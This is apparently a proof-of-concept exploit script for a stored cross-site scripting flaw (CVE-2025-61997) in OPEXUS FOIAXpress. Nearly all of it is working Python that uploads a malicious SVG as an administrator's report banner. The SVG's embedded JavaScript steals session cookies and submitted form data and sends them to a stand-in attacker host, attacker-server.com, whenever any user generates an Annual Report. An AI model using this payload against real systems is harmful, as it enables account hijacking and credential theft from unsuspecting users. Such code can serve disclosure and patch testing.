CVE-2025-61997 OPEXUS FOIAXpress存储型XSS漏洞

# CVE-2025-61997 - OPEXUS FOIAXpress Stored XSS PoC # Vulnerability: Stored XSS via Annual Report Enterprise Banner image upload import requests TARGET_URL = "https://target-foiaxpress-server.com" ADMIN_SESSION = "admin_session_cookie_here" # Step 1: Login as administrator (requires valid admin credentials) def login_as_admin(session, username, password): """Authenticate to FOIAXpress as an administrator user""" login_url = f"{TARGET_URL}/login" credentials = { "username": username, "password": password } response = session.post(login_url, data=credentials) return response.status_code == 200 # Step 2: Create a malicious payload disguised as an image file def create_malicious_banner(): """Create a malicious SVG file containing XSS payload""" # SVG format supports embedded JavaScript, which can bypass # simple file extension validation malicious_svg = """<?xml version="1.0" encoding="UTF-8"?> <svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" viewBox="0 0 200 200"> <script type="text/javascript"> // XSS Payload: Steal session cookies and credentials var sessionData = document.cookie; var exfilUrl = "https://attacker-server.com/collect?data=" + encodeURIComponent(sessionData); // Create an image request to exfiltrate data new Image().src = exfilUrl; // Additional payload: steal form data document.querySelectorAll('form').forEach(function(form) { form.addEventListener('submit', function(e) { var formData = new FormData(form); var params = new URLSearchParams(formData).toString(); new Image().src = "https://attacker-server.com/collect?form=" + encodeURIComponent(params); }); }); </script> <rect x="0" y="0" width="200" height="200" fill="blue"/> <text x="50" y="100" fill="white">Enterprise Banner</text> </svg>""" return malicious_svg # Step 3: Upload the malicious file as Enterprise Banner def upload_malicious_banner(session): """Upload the malicious banner to the Annual Report configuration""" upload_url = f"{TARGET_URL}/annual-report/enterprise-banner-upload" malicious_content = create_malicious_banner() files = { "banner_image": ("banner.svg", malicious_content, "image/svg+xml") } response = session.post(upload_url, files=files) if response.status_code == 200: print("[+] Malicious banner uploaded successfully") print("[+] Payload will execute when any user generates an Annual Report") return response.status_code == 200 # Step 4: Trigger execution (when a victim generates an Annual Report) # The malicious script will execute in the victim's browser context if __name__ == "__main__": session = requests.Session() session.headers.update({"Cookie": f"session={ADMIN_SESSION}"}) # Upload malicious banner if upload_malicious_banner(session): print("[+] Exploit deployed. Waiting for victim to trigger...") print("[+] When any user generates an Annual Report,") print("[+] the malicious JavaScript will execute in their browser context.")